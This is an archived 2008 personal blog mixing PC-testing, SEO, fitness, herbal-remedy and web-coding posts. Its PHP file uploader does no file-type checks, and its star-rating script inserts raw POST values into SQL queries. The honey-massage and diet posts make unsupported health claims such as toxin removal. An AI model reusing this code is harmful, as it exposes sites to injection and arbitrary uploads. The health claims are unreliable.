.menu_title{ padding:1em; font-size:1.3em; border-bottom:1px #999999 solid;
line-height:1.3846em; text-align:center; cursor:pointer; cursor:hand; background:#cccccc; color:#333333;}
.menu_title.open{  background:#FFE2D7; background:#9ba3b5; color:white; }
.menu_content{height:300px; font-size:1.3em; line-height:1.3846em;  padding:1.8em; border-left:1px #D6D6E5 solid;border-right:1px #D6D6E5 solid; border-bottom:1px #D6D6E5 solid;}
.open{display:block;}
.close{display:none;}

Installation:

1. Include the above 2 files into a HTML file.
2. Use the script via this simple structured HTML file:

<div id="menu_title open">Menu title 1</div>
<div id="menu_content open">Menu content 1</div>

<div id="menu_title">Menu title 2</div>
<div id="menu_content">Menu content 2</div>

<div id="menu_title">Menu title 3</div>
<div id="menu_content">Menu content 3</div>

3. If you want a menu item to be opened by default just set add "open" to its class name.

Enjoy!

How do you test your PC?

2008-11-02T22:55:00.000-08:00

It's always good to know that your computer is stable. Here I'll show you a few reliable programs for CPU and memory testing.

How to test the CPU
I've been using IntelBurnTest which includes Intel libraries used exclusively for CPU testing prior its market release. IntelBurnTest software is compatible with AMD processors and tests faster than Prime95. Just make sure that your testing sytem is equipped with a proper cooling.

Hints:
Prior testing please download and run Realtemp - this way you can watch in realtime the temperature - and make sure it's below 70°C.
Prime counts determines the memory size used in the test.
Residual values must be equal or less e^-09 i.e. e^-10, e^-11, and so on.
Residual Normalised should be between e^-02 and e^-04. (from 0.01 to 0.0001)
Numbers outside these ranges indicate that you experience memory or CPU errors.
Try at least 10 or 20 passes.
When having more than 2 GB RAM running on the 32-bit version of Windows please test on a 64 bit version in order to allocate the whole memory.
Linux users could use: http://www.netlib.org/benchmark/hpl/

Here are the 32 bit
http://www.ultimate-filez.com/files/IntelBurnTest.zip

and the 64 bit version
http://www.ultimate-filez.com/files/IntelBurnTest-x64.zip

you may also try:
http://systester.sourceforge.net/downloads.html
and CPU Stability Test

Memory testing
I've been using: memtest86+

http://www.memtest.org/

Effective back training exercises

2008-10-09T03:41:00.001-07:00

Back muscles are an important body foundation. They are heavily being used in lots of base movements and greatly influence our body posture. It’s a known fact that gorillas chose their leader because of his big and strong silver back. So if you really want to have a harmonic body that screams from a distance who’s the boss, please apply the following advices to your training.

In the article will be emphasized on the exercises for upper and middle back areas which can be developed quickly via chin ups and pull ups. And even though these movements are popular they still remain hard to follow by lots of people.
So here are the 5 highly effective time proven exercises along with their proper form. Doing them can make you sore for day or two, but don’t worry - that is just a sign that you keep progressing.

1. Narrow grip chin up with palms facing your body. Initially go for 3 sets with 6-8 reps and aim for a 6 sets with 10-15 repetitions. Remember that when conditioning for the 300 movie the actors had to make 50 chin ups and if you’ve forgotten how to do the exercise here is a video showing its proper form. The video shows slightly wider grip that is also a great exercise:

2. Bar rowing

Load a bar with light weight up to 60lbs. Place your feet at shoulders width. Bend at 45degrees and grab the bar with palms facing you at a wider than shoulder width. Move your abdominals forward keeping your lower back straight. Brace the abdominals and move it slightly forward. From this position begin pulling the row with your elbows to your body. The aim is to reach your lower chests with the bar. Do 3 sets with 15 reps.

3. Dumbbell bend rows

Squat at 45 degrees. Grab the dumbbell with your right hand, and the right one keep next to your chest. Start flexing your arm from the elbows up and pull the dumbbell to your body.
The trick: Pull with your shoulder blade contracting it toward the other blade, like if your shoulder blades are coming one to another.

4. Wall slide: 3sets with 15 reps

5. Forward and up swing

Proper form: squat and bend forward so that your upper body is parallel to the floor. Keep your left arm close to your body and with your right arm grab a lightweight dumbbell (10lbs). With thumbs pointing upwards start lifting up and down the weight. When done change the arms. Do 3 sets with 11 repetitions. Note: Lift up clean without relying on the initial momentum swing force.

One of the most important things to notice when exercising is to feel how you muscles are getting pumped and stay in such condition for a few moments. During all the exercises remember to keep your lower back straight. I wish you great training and excellent results!

Before you go to the gym

2008-09-29T03:20:00.000-07:00

Being eager to hit the gym for the first time and the last think that you might expect is not to go straight, but to wait until you are prepared???
Well, that's true - it's essential to be in good shape prior entering the gym, otherwise your dream training might turn into a slightly bad experience. But, don't worry I'll reveal you how to avoid such situations with a few exercises that will prepare you for the bigger challenge.

The following program is designed to show and improve your current fitness level. It consists of indoor and outdoor training without using any weights. Here are the exercises:

1. Chin up

Grab the bar firmly at the shoulder width, cross your legs and start rising your body up. Try to keep your elbows perpendicular to the floor.

2. Dips

Go to the parallel bar and rise until your hands are straight. Then flex your elbows and go down until your elbow and upper arm are perpendicular. Raise again to the initial position.

3. Inverted parallel row

Use the parallel bar to place your feet on the two separate bars and let your body sink. Grab the handles and start flexing up. This exercise is a sort of inverted push up.

4. One leg Bulgarian squat
4.1 Start sitting and standing up on one leg from a chair. The other leg stays straight forward. Repeat until you can make the move without the chair.

4.2 Place your right leg foot parallel on a chair. From that position start squatting. Keep your posture straight during the exercise.

4.3 Take a smaller chair and start climbing up and lowering down while alternating your legs.

5. Hanging leg rise
Grab the bar with arms and hang. Then slowly rise your legs until your ankles reach you chest. Make a short pause and continue.

6. Vertical leg crunch

Lay on your back with hands close to your body. Start raising your legs to the chest until they are perpendicular to the floor. Next lower them slowly till they are 5inches from floor. Don't bend your lower back during the exercise!

7. The plank

Take a push up position, but with your elbows on the floor. Try to hold for a 120 seconds.

8. Push up

Start from a normal push up position with palms and toes on the ground, and keeping a straight line from your heels to shoulders, place your legs on a chair or swiss ball. From that position bend your elbows down until your chest reach the floor. Then quickly go up into a initial position.

The preparatory exercises are designed to be used with 3 sets by 8 repetitions or 3x12reps. Know that you are ready for the gym when they cause you no huge effort.

Cheers!

Simplify your income plans using the Adsense Calculator

2008-09-24T06:42:00.000-07:00

This quick post is not intended to show you how to optimize your clickthrough rates or some income parameters..., it's about how you can predict your Adsense earnings, have a broader overall picture and act more confident based on the result information.

Try the Calculator from here: http://www.seochat.com/seo-tools/adsense-calculator/

The only three parameters you'll need to know are:

1. your website impressions

2. click through rate(how many clicks/100 do the ads on your website usually receive)

3. the average cost per click(how much you get paid for 1 click)

The result will be a nice a clean future income report that will save you lot of time otherwise wasted by counting everyday clicks.

Cheers!

Quickly shrink the belly fat

2008-09-23T07:01:00.000-07:00

The theory
There are two types of fat in our body: subcutaneous and visceral. The first one is located beneath the skin and can usually be seen. The Visceral fat on the other side resides deep within the torso, wrapping itself around the heart, liver and other major organs thus remains unseen. It’s referred as "hidden" or “deadly” belly fat. You can actually measure your waist line, be within limits (40inches for men and 35inches for women) and still have too much of visceral fat.
Here are some advices that will help you to limit and reduce those dangerous fats. Choose what method suits you best and do it!

The exercises
• vigorously exercise and stay active, even at a low level! (no exercise increases visceral fat by about 1%/month)
• do the most effective ab exercises: the plank and bicycle do 6-8 sets x 12reps., but not everyday, because abs need time to recover. Remember that 1% body fat loss shrinks 3% of visceral fat
• walk 20 minutes/day to shrink your waistline by an inch for a month

The diet
• consume monounsaturated fatty acids: from almonds, avocados; dark bitter chocolate, stirred flaxseed oil and almonds
• substitute coffee with green tea
• when you’ve finished eating take fish oil up to 2grams/day.
• eat more fiber – this will slow down the release of insulin hormone thus lowering the visceral fat storage.
• limit the sweeteners, use honey instead. Try to resist when you have sugar cravings!
• try limiting your refined carbohydrate intake, and eat fruits with high-glycemic index early in the morning
• prior meals drink a shake made from the juice of 1 ripe lemon, 2 tbsp. apple cider vinegar, 1/2tbsp. cinnamon and 1tbsp honey mixed with warm water.

Advanced hard drive partition and geometry recovery

2008-09-21T00:55:00.000-07:00

Here is the story: After running several Scandisk tests my brother’s 160GB hard drive failed to show at BIOS system report on reboot. The hard drive was NFTS formatted so I thought that the recovery process should go easy.

I ran my favorite recovery software R-Studio, FileScavenger etc… but they didn’t recognize the hard drive at all. It appeared that drive’s geometry (heads,sectors,cylinders) information was also incorrect. So no matter how many file recovery applications I was running the result was the same: unrecognized file system or misplaced file information.

I looked at the hard drive’s sticker and noticed the Cylinders Heads Sectors values (information that could also be found in drive's service manual). Then loaded up the free testdisk program and carefully entered those numbers in the Geomety section. But the 160GB hard drive now appeared as 37GB… - what was happening? In order to allocate and handle bigger hard drives sizes engineers have invented: 2 types of addressing: logical and physical - physical were the ones that I found on the drive’s cover. The logical CHS values are chosen by the operating system.

Indeed testdisk needs one more value: the sector size (512, 1024, 2048 or 4092). So I just started the format dialogue in windows and noticed that the default 'sector size' value was 512. Next searched Google for my hard drive’s serial number and found the logical CHS values in postings from linux 'dmesg' command and other diagnostic tools.

I loaded testdisk’s Geometry with those new numbers, then run Analyse to rescan the hard drive for partitions and they showed up, Write followed and after the reboot the hard drive finally showed in BIOS system report. Windows also recognized the drive but the information was still inaccessible.

So I run Filescavenger and restored the information to a blank hard drive. Then reformatted the first one and moved back the recovered information.
Cheers!

Developer's benefits from Google Chrome

2008-09-10T06:13:00.000-07:00

Well you may know that Google released a new browser called Chrome, but before start thinking that it's just one more in the row of modern browsers, let me tell you how can you benefit from.

Here is the story:

Many years I've been doing web design and redesign on a highly optimized 900Mhz AMD PC:) until recently when I upgraded to 3000Mhz Core 2 Duo but didn't noticed the actual performance increase when building applications.

So I downloaded Chrome... when I first tried it i didn't realized the difference, but on JavaScript applications(web2.0) I realy felt it - the rendering was times faster than Firefox's.

The result:

My work speeded up, I was able to get more done and the frustration levels of waiting went down. So the conclusion is: if you want more speed wen developing web applications try Chrome.

Cheers!

PHP file uploader

2008-08-27T05:09:00.000-07:00

Here is a simple working php uploader. Save the code under the name of upload.php and use it:

<form enctype="multipart/form-data" method="post" action="<?echo $_SERVER['PHP_SELF'];?>">
<label for="file">File:</label>
<input id="file type="file" name="fileupl" size="50" maxlength="100000" />
<input name="submfile" type="submit" id="submfile" value="Upload >" />
<input type="hidden" name="step2" value="true" />
</form>

<? 
ini_set("upload_max_filesize", "100M");//set the max. file upload size
$directory=""; //$directory is the default upload dir

$target_path = $directory."/";
if ($handle = opendir($target_path)) {
echo "Published files:\n";
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") { $arr_files=1; echo "<br /><a href=\"/$target_path$file\">$file</a>";  }
}
closedir($handle);
}
if (empty($arr_files)) $arr_files="There are no uploaded files.";
else if($step2 == 'true')
{
ini_set("max_execution_time", "500"); //maximum upload execution time
if (!is_dir($target_path)) {mkdir($directory, 0700);}
$target_path = $target_path . basename( $_FILES['fileupl']['name']);
if(move_uploaded_file($_FILES['fileupl']['tmp_name'], $target_path)) {
echo "The file ".basename( $_FILES['fileupl']['name'])." has been uploaded successfuly.";
}
}
?>

AJAX & PHP star rating system script

2008-08-25T01:34:00.000-07:00

Update
Here you can get the new and updated version of the script. Now tracking all of your web pages automatically. You just have to include it to the desired page.
DEMO

And the old version:
After reading lots of articles about star rating systems here is my improved Ajax & CSS version based on the PHP(http://slim.climaxdesigns.com/) and CSS(komodomedia.com) scripts.

Installation:
To implement the script into your existing CMS you have to:

1. set the variable $article_id so that every article to have its own unique rating. ( i.e: $article_id=1; - to track page with id = 1 etc...)

2. add

<div id="myspan"></div>

to your HTML page on place where you want the star rating to appear.

3. create table ratings in your MySql database:

CREATE TABLE IF NOT EXISTS `ratings` (
`id` int(11) NOT NULL,
`total_votes` int(11) NOT NULL,
`total_value` int(11) NOT NULL,
`used_ips` longtext,
PRIMARY KEY (`id`)
)

4. Include the following star_rating.php script at the end of your webpage:

<script>
var http_request = false;
function makePOSTRequest(url, parameters) {  http_request = false;
if (window.XMLHttpRequest) {http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) { http_request.overrideMimeType('text/xml');  }
} else if (window.ActiveXObject) {
try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) {
try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); }  catch (e) {}
}
}
if (!http_request) {  alert('Cannot create XMLHTTP instance');  return false;   }
document.getElementById('myspan').innerHTML = "Loading...";
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Charset", "windows-1251");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}

function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
result = http_request.responseText;
document.getElementById('myspan').innerHTML = result;
} else { alert('Please try again later.'); }
}
}

function rate(article_id, vote){ makePOSTRequest('star_rating.php', 'article_id=' +article_id+'&vote='+vote); }

if (document.getElementById) {  window.onload = myUnobtrusiveBehavior; }

function myUnobtrusiveBehavior() {
var percentstyle="width:<?echo @number_format($current_rating/$count,2)*20 ?>px;";
var content ="<div class=\"rating\" id=\"rating\"> <ul class=\"star-rating\"> <li class=\"current-rating\" style=\""+percentstyle+"\" >Current rating</li> <li><a id=\"rate1\" class=\"one-star\">1</a></li> <li><a id=\"rate2\" class=\"two-stars\">2</a></li> <li><a id=\"rate3\" class=\"three-stars\">3</a></li> <li><a id=\"rate4\" class=\"four-stars\">4</a></li> <li><a id=\"rate5\" class=\"five-stars\">5</a></li></ul>";

/*
var myspan = document.createElement("div");
myspan.setAttribute("id", "myspan");
myspan.innerHTML = content;
document.body.appendChild(myspan);
*/

document.getElementById("myspan").innerHTML=content;

if (document.getElementById("rating")) {
var article_id=document.getElementById("item").value;
document.getElementById("rate1").onclick = function () {rate(article_id,'1'); return false;}
document.getElementById("rate2").onclick = function () {rate(article_id,'2'); return false;}
document.getElementById("rate3").onclick = function () {rate(article_id,'3'); return false;}
document.getElementById("rate4").onclick = function () {rate(article_id,'4'); return false;}
document.getElementById("rate5").onclick = function () {rate(article_id,'5'); return false;}
}

}

</script>

<style>
.star-rating,
.star-rating a:hover,
.star-rating a:active,
.star-rating a:focus,
.star-rating .current-rating{
background: url(star_rating.gif) left -1000px repeat-x;
}
.star-rating{
position:relative;
width:125px;
height:25px;
overflow:hidden;
list-style:none;
margin:0;
padding:0;
background-position: left top;
}
.star-rating li{
display: inline;
}
.star-rating a,
.star-rating .current-rating{
position:absolute;
top:0;
left:0;
text-indent:-1000em;
height:25px;
line-height:25px;
outline:none;
overflow:hidden;
border: none;
}
.star-rating a:hover,
.star-rating a:active,
.star-rating a:focus{
background-position: left bottom;
}
.star-rating a.one-star{
width:20%;
z-index:6;
}
.star-rating a.two-stars{
width:40%;
z-index:5;
}
.star-rating a.three-stars{
width:60%;
z-index:4;
}
.star-rating a.four-stars{
width:80%;
z-index:3;
}
.star-rating a.five-stars{
width:100%;
z-index:2;
}
.star-rating .current-rating{
z-index:1;
background-position: left center;
}

/* for an inline rater */
.inline-rating{
display:-moz-inline-block;
display:-moz-inline-box;
display:inline-block;
vertical-align: middle;
}

/* smaller star */
.small-star{
width:50px;
height:10px;
}
.small-star,
.small-star a:hover,
.small-star a:active,
.small-star a:focus,
.small-star .current-rating{
background-image: url(star_small.gif);
line-height: 10px;
height: 10px;
}
</style>


<?
$dbhost = 'localhost';
$dbuser = 'your_username';
$dbpass = 'your_password';
$dbname = 'your_databasename';
$tableName="ratings";
$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql'); mysql_select_db($dbname);

$rating_posted=$_POST['vote'];//the actual user vote
$id=$_POST['article_id'];//passed article_id
if (empty($id)) {$id=$article_id;}

$query=mysql_query("SELECT total_votes, total_value, used_ips FROM $tableName WHERE id='$id' ")or die(" Error: ".mysql_error());

$numbers=mysql_fetch_assoc($query);
$checkIP=unserialize($numbers['used_ips']);
$count=$numbers['total_votes'];//how many votes total
$current_rating=$numbers['total_value'];//total number of rating added together and stored
$sum=$rating_posted+$current_rating;// add together the current vote value and the total vote value
$tense=($count==1) ? "vote" : "votes";//plural form votes/vote

$voted=mysql_fetch_assoc(mysql_query("SELECT * FROM $tableName WHERE used_ips LIKE '%".$_SERVER['REMOTE_ADDR']."%' AND id='$id' ")); //This variable searches through the previous ip addresses that have voted and returns true or false

//when already voted
if($voted){
echo "<ul class=\"star-rating\">
<li class=\"current-rating\" style=\"width:". @number_format($current_rating/$count,2)*20 ."%;\"></li>
</ul>
Rating: <strong>".@number_format($current_rating/$count,2)."</strong> ( $count $tense )
<br /><span style=\"color:red;\">You've already voted.</span><br />";
}

else{
//if not voted do the actual voting
if(isset($rating_posted)){
//open initial voting row if necessary
if (mysql_num_rows($query) == 0) { $sql = "INSERT INTO $tableName (id, total_votes, total_value, used_ips) VALUES ('$id', '0', '0', '')"; $result = mysql_query($sql) or die("err");}
//increment votes, check ips & add/update vote to table
if($sum==0){ $added=0;} else{ $added=$count+1;}
if(is_array($checkIP)){array_push($checkIP,$_SERVER['REMOTE_ADDR']);}else{ $checkIP=array($_SERVER['REMOTE_ADDR']);}
$insert=serialize($checkIP);
mysql_query("UPDATE $tableName SET total_votes='$added', total_value='$sum',used_ips='$insert' WHERE id='$id'")  or die("Error");
$response = "<div class=\"rating\">Rate: <strong>".@number_format($sum/$added,2)."</strong> <br />  <span style=\"color:red;\">Thank you for your vote cast!</span></div>";
echo iconv("windows-1251", "UTF-8", $response);
exit;
}

//if not voting just show the current rating
else { echo "<div id=\"myspan\"></div>";}


}//end if

?>

Note: system works only when JavaScript is enabled.

Move content and avoid the duplicate penalty

2008-08-19T22:54:00.000-07:00

Recently I've decided to move some articles from my personal website to my CMS. They've all been well placed and appeared at search engine positions from 1 to 10. Not long after the move I've noticed that identical(new+old) articles appeared fighting for position on Google's search.

The problem: Then I began to think that obviously my new CMS article pages were facing duplicate content issues(reason: the old content already had Google's trust with its earlier creation date and links pointing to). Obviously I've had to remove the old duplicates, but how?

Solution:
At first I logged at Google's Webmaster tools then from Tools->Remove URL I've typed my old URLs and waited -> Status denied. Apparently they've had too many links pointing to them.
Then I've created and uploaded a robots.txt file on my old website with all the URL's I wanted to disappear from the index and resubmitted the links again via Tools->Remove URL.

Result: Some of the pages were removed but most stayed. I've repeated the same procedure over a week and Voilla! the pages went out of the index!

Remark: If you want to further protect those old pages just create blank page with meta noindex, nofollow and place an appropriate link to the new location.

Cheers!

Solving local indexing problems

2008-08-04T00:33:00.000-07:00

This post will be short but useful.

The problem
Recently I've checked one of my websites having a solid unique content of 400+ pages. When I went to Google's Webmastertools Dashboard and clicked on the Top search queries I've got 2-to 9th position on most of my content, but still the traffic was not comparable to the competition's.

The surprise
I quickly clicked on one of the search keywords and to my surprise the web page was not listed on the suggested position, but few SERPS pages further.
What was the reason behind this? Then I started to run advanced search queries from Google with the Language attribute set. Again to my surprise the results were accurate, but only when the language attribute was set.

The analysis
Then I investigated my meta tags and those of my competition. The analysis showed that I've restricted the traffic flowing to my website by choosing explicit meta language and country definition. This way the ordinary users who've got their Windows installed with no regional settings set won't view the my content pages.

The result:
I've removed all the meta tags from my pages except:

<html xmlns="http://www.w3.org/1999/xhtml" lang="my_local_language">
<meta http-equiv="Content-Type" content="text/html; charset=my_page_charset" />
<meta http-equiv="Content-Language" content="my_local_language" />

Success!
A few minutes later the pages showed up in the general as well as local search!

I wish you could use this information to bring such deserved traffic to your website.

Herbal acne treatment

2008-07-28T01:31:00.000-07:00

Herbal vinegar
Gently wash your skin and while still wet pour on it apple vinegar mixed with horse-radish. Leave it so for 10 minutes, then rinse with water. Repeat the procedure 2 times daily: in the morning and night.
How to prepare the herbal vinegar:
Add finely grated horse radish to apple cider. Pour the mixture in a bottle so that the vinegar should top up the herb. Leave the consistence for 10 days in a moderate temperature. Both ingredients complement each other into a beneficial for the skin essence.
Additionally if you want to achieve more effective results prior the procedure use a cotton ball with diluted salicylic acid to clear up the old skin.

Tea tree oil
First you need to do a herbal water vapor on the affected area. How? Put dry lavender in a preheated saucepan filled with water. The lavender has antibacterial effect. Bow before the water surface and stay up to 10 minutes. If it gets harder to do this grab a sponge and massage over the affected area. This is needed to clean up the pores. Next gently apply the tea tree oil.

Alternatively before going to sleep you can apply the following herbal mask:
mix thoroughly
2 tsp. of yogurt
4 drops of tee tree oil
1 tsp. of freshly squashed lemon juice
in the morning rinse with water.

General advice:
Drink 1 litter of tea prepared from the nettle leaves - continuously through the whole day.

The honey massage

2008-07-23T00:59:00.000-07:00

Honey massage is type of soft tissue massage that has beneficial healing properties to the body. Besides water and carbohydrates, there are essential micro elements, minerals, enzymes and antibiotics. When eaten those beneficial nutrients are being partly destroyed by the hydrochloric stomach acid, but when applied to the skin they are fully absorbed.

Preparation
First make sure that you are not allergic to honey and try to get a liquid non-crystallized one from a local herbal shop.

Technique
Pour honey all over the area that will be massaged. Then try to “unglue” your hands from the area by palm clapping and rubbing motions. Continue until all the honey disappears. If you’ve been doing it right then white-gray skin pallets will form. This indicates that the years accumulated harmful toxins held under the skin are being removed effectively.
When you finish wash the skin with sponge and warm water. The healing effects can be felt immediately. Be warned that the skin will remain red for a short time right after the treatment and initially may hurt, but after a couple of sessions it will adapt. For effective cellulite removal you’ll need at least 15 such sessions.
Duration: 30 minutes to 90 minutes

Benefits:
- cleans moisturizes and nourishes the skin
- removes salts and toxins
- relaxes the nervous system
- improves blood circulation, metabolism
- increases the lymphatic system flow
- Anti-cellulite
- frees from intellectual and physical chronic exhaustion
- increases immunity and the ability of the organism to purify itself

Additionally
You can additionally pour a few drops of lemon, orange, tangerine, juniper or lavender oil. If you prefer to use a couple of oils first you’ll need to mix them and add the honey afterwards.

2 column blogger template - simple white

2008-07-22T01:19:00.001-07:00

Easy to install clean white 2 column template for Blogger.
Here are some of its features:

allows AdSense integration
has sitemap
optimized, not causing duplicate content
uses legible fonts
contrast color scheme

preview:

How to install it 5 steps(detailed):

Open Blogger Dashboard and go to Layout -> Edit Html
Backup your old template by pressing the Download Full Template link.
Download and save the new template from here. Then press the button Browse, load it in the 'Upload a template from a file on your hard drive' field and press Upload.
Next check Expand Widget Templates and change all "yourwebsite.com" items with your blog address.
Congratulations. Now you can see and use your new template!

If you have any further questions please ask.

How to do an easy windows reinstall

2008-07-18T00:17:00.000-07:00

Next are few simple steps on how to complete a fresh windows installation.
Time: from 15 to 45 minutes depending on your computer speed.

1. Provide yourself with Windows CD .
2. Enter BIOS (immediately after restart press several times ESC, F1 or DEL keys). Search all the menus and find First Boot Device, Boot loader or Boot sequence. Change the settings so that your CD to be on first position and the other devices to follow. Exit BIOS saving the changes.
3. If succeeded you'll see the following message: "Press any key to boot from CD..." Press any key to begin loading from the CD drive.
4. Next press consecutively ENTER, F8, ESC. A menu will show to choose where do you want to install your new Windows (if the drive is partitioned you'll see C: and D:) Choose a preferred destination and press ENTER.
5. If you want to save the current information on your drive choose: "Leave the current file system intact (no change)" and press ENTER. Otherwise choose "Format the partition using the NTFS file system", ENTER and press F.
6. Unless you want to set the country, time and date settings press NEXT 3 times.
7. Happy new Windows installation!

Laptop users
Sometimes problems appear when the Windows installation could not recognize the laptop's hard drive. Here is a solution to that: after restart open Bios setup with continuously holding the keys F1, F2, F10, Esc or Del to access BIOS settings. Then go to System Configuration and Disable the SATA Native Mode. Save the changes and restart again. Then you could normally continue you Windows installation. For more information on the subject please read:
http://h10025.www1.hp.com/ewfrf/wc/document?docname=c00758841&dlc=en&lc=en&cc=us

When problems appear
If you sill experience problems i.e. the new installation fails to start or hangs, that indicates a conflict between your installed software or drivers and the Windows version. In such case enter in Safe Mode and run Start->Run->msconfig. Look through the startup programs and remove the unneeded. Restart. If windows still hangs again in Safe mode from Control Panel->System->Hardware->Device Manager delete the installed drives and hardware devices one by one. The reason behind this is that some new Windows versions are incompatible with older device drivers. When you succeed go to the device manufacturer's website and download appropriate drivers that will work without problems.

Protect Windows after installation

2008-06-14T23:45:00.000-07:00

I'll present you Xpy
http://xpy.whyeye.org/download/ a free Sourceforge project that closes standard security holes found in every fresh Windows installation that could be exploited by hackers or spyware.
It works by automatically disabling unneeded services, hardening your system security settings. This way you'll enjoy improved privacy settings. Next to every action suggested by the program you'll find usable description of the threat that will be fixed.
Though this software might increase your system performance altering the standard windows components communication with microsoft server, try it carefully.

Create website gradients with CSS

2008-05-01T05:40:00.000-07:00

In this post I'll show you an easy technique that can save you lots of time when you want to use gradients in your website.
Here is an example:

This has been produced by the following code:

<span class="one"></span>
<span class="two"></span>
<span class="three"></span>
<span class="four"></span>
<span class="five"></span>

<style>
.one, .two, .three, .four, .five { float:right; width:10%; height:80px;line-height:80px; }
.two {background:#D2E4F6; }
.one {background:#FFFFFF; }
.three {background:#A5C9ED; }
.four {background:#78ADE5; }
.five {background:#4B92DC; }
</style>

And the next one:

<style>
span {
height:10px;display:block;
.g1 {background-color:rgb(255,105,105);}
.g2 {background-color:rgb(255,125,125);}
.g3 {background-color:rgb(255,145,145);}
.g4 {background-color:rgb(255,165,165);}
.g5 {background-color:rgb(255,185,185);}
.g6 {background-color:rgb(255,205,205);}
.g7 {background-color:rgb(255,225,225);}
}
</style>

<span class="g1">>/span>
<span class="g2"></span>
<span class="g3"></span>
<span class="g4"></span>
<span class="g5"></span>
<span class="g6"></span>
<span class="g7"></span>

You can adjust the height of the gradient bar altering the CSS height property. The lower height value will give you smoother gradient.
Cheers!

Restore Show Desktop on taskbar

2008-04-11T00:04:00.000-07:00

It's a common issue when you are dealing with spyware or other software unistallation on Windows XP your favorite Show Desktop icon to disappear from taskbar. Here is one relatively simple way how you can restore this useful icon:
1. Create file named: Show Desktop.scf
2. Open notepad and paste this content:

[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop

3. Save the file
4. Go to C:\Documents and Settings\your_username\Application Data\Microsoft\Internet Explorer\Quick Launch
5. Paste the file there.

That's it enjoy!

3 ways to increase CPC and eCPM

2008-03-13T12:37:00.000-07:00

There are some things that anyone could do to increase his/her incomes when using Adsense.
Here is the list:

1. Changing ads
Check your Adsense statistics. If you're having low CPC(cost per click) then you should move your ad above the fold and/or change its color scheme. Experiment until there's a positive effect.

2. Try decreasing your ad units
The reasons:

- the second and third ad spot clicks are not so-profitable as the first ones. And if you have higher CPC on your middle ad then place it to appear first in your HTML code, then position with CSS to the place where it's getting maximum clicks.

- when having 25 ad links on a page and the user clicks on only 1 then your eCPM will start to get low, because this way the advert impressions are growing but the clicks are staying same.

3. Add more useful content to the webpage
You can use Google Analytics or other web statistics software to see the average stay time on your webpages. This way you might find the pages that need to be enriched or rewritten. And if you manage to increase visitors stay time then your eCPM will surely grow!

Cheers!

New tool to test your website content

2008-02-29T13:25:00.000-08:00

As I noted previously in Deoptimizing - a new way of seo keyword density is an important factor if you're serious in SEO. Once when you have a great kind of content, the crucial part is to be able to present it infront of the right public.
And by having keyword density above the threshold of 2 - 4% will put your content into the famous Supplemental index.
The result: it won't compete/show with other websites in SERPS.

In order to prevent that from happening I wrote down a simple keyword density analyser. You can check it out and I hope it'll help you in finding the ideal keyword density percentage. Any comments and suggestions are welcomed.
Cheers!

Free light antivirus for personal use

2008-02-09T08:20:00.000-08:00

This time I'll present you RemoveIT Pro - free antivirus program for personal use. Here is short summary of program's features:
* locates & removes many new dangerous Spyware, Malware, Viruses,
Worms, Trojans and Adware that other popular AV programs could not find
* sufficient updates
* small size
* runs on Windows XP and VISTA
* quarantines bad files
* fast scanning

Download it from here:

http://www.incodesolutions.com/downloads/removeit_pro.exe

After the installation just press Scan for viruses and wait.

You may also be interested in the free Spyware Terminator or other antivirus products reviews.

Dealing with rogue spyware

2008-01-23T21:53:00.000-08:00

My friend's got infected with some rogue spyware that insisted on him to buy an antivirus program for ~50$. The pest constantly stayed at bottom of his taskbar saying: warning your computer is infected, please buy this program.

I've seen this type of virus before and started my favorite free antivirus pack: Spyware Terminator, then MWAV/Kaspersky/, then CureIt/Dr.Web/ and Ewido/AVG/. During the scan in windows safe mode CureIt recognized a few files(variants) but even after their removal the virus stayed on the computer. From the commercial antivirus solutions that I've tried Sunbelt Counterspy detected the trojan properly:

Trojan-Downloader.Zlob.Media-Codec
a variant of SpyAxe/SmithFraud/SpywareQuake

My friend got worried and after some research on Internet I've found the Smithfraud fix tool:

http://www.bleepingcomputer.com/files/smitfraudfix.php
http://siri.urz.free.fr/Fix/SmitfraudFix.exe

The procedure that cleaned up the computer was pretty straightforward:
1. Turn off the Windows System Restore
2. Reboot under safe mode and run the SmithFraudFix.
3. Press 2 from the options and the virus will be cured.
The application restarts the explorer shell, kills the trojan process, and then deletes the specific virus files.

Update: One week later during active browsing the computer got infected again. This time when someone tried to open a folder in Windows Explorer the annoying alertbox popped up saying: You have a virus and you must download an antivirus application.
At least the virus name was known as 'Files secure' having an entry in Add/Remove programs. But the uninstaller's 'Next' button was disabled, so it couldn't be removed. The above described 3 step procedure again fixed the problem.

Hope this will help you!

Speeding up website in 14 easy steps

2008-01-15T02:02:00.000-08:00

I would like to share with you an excellent video presentation on optimizing websites. It shows the actual optimisation process for huge websites done via simple 14 steps. You could take them into account and optimize your website loading time. In a summary they are:

1. Reduce the HTTP Requests - use Firebug Extension for Firefox, goto Net tab and see if you can merge your .css, .js files and use sprites for images.
2. Use a Content Delivery Network
3. Add an Expires Header to skip the loading time of an already saved offline content from Internet:

<?
header("Expires: ".gmdate("D, d M Y H:i:s", time()+315360000)." GMT");
?>

4. Add Gzip Compression to reduce webpage size send to browser. I've managed to get 50% faster pages by using this method in PHP:

<?
ob_start("ob_gzhandler");
/* your webpage code */
ob_end_flush();
?>

5. Put Stylesheets at the top of the page to ensure that Internet Explorer will display the webpage content first
6. Put Scripts at the bottom to show content to the user first and continue with the scripts loading
7. Avoid CSS Expressions
8. Make JavaScript and CSS External - to have them in the browser's cache.
9. Reduce DNS Lookups - this way you'll split overall loading time of the page by increasing the number of simultaneous HTTP requests.
10. Minify JavaScript - obfuscate and compress the code
11. Avoid Redirects
12. Remove Duplicate Scripts
13. Configure ETags
14. Make Ajax Cacheable:

<?
header("Expires: ".gmdate("D, d M Y H:i:s", time()+315360000)." GMT");
header("Cache-Control: max-age=315360000");
?>

High Performance Web Sites and YSlow

video:
http://www.youtube.com/watch?v=BTHvs3V8DBA
and article:
http://developer.yahoo.com/performance/rules.html

Next you might be interested in optimizing your JavaScript? - here is a nice tutorial on the subject:

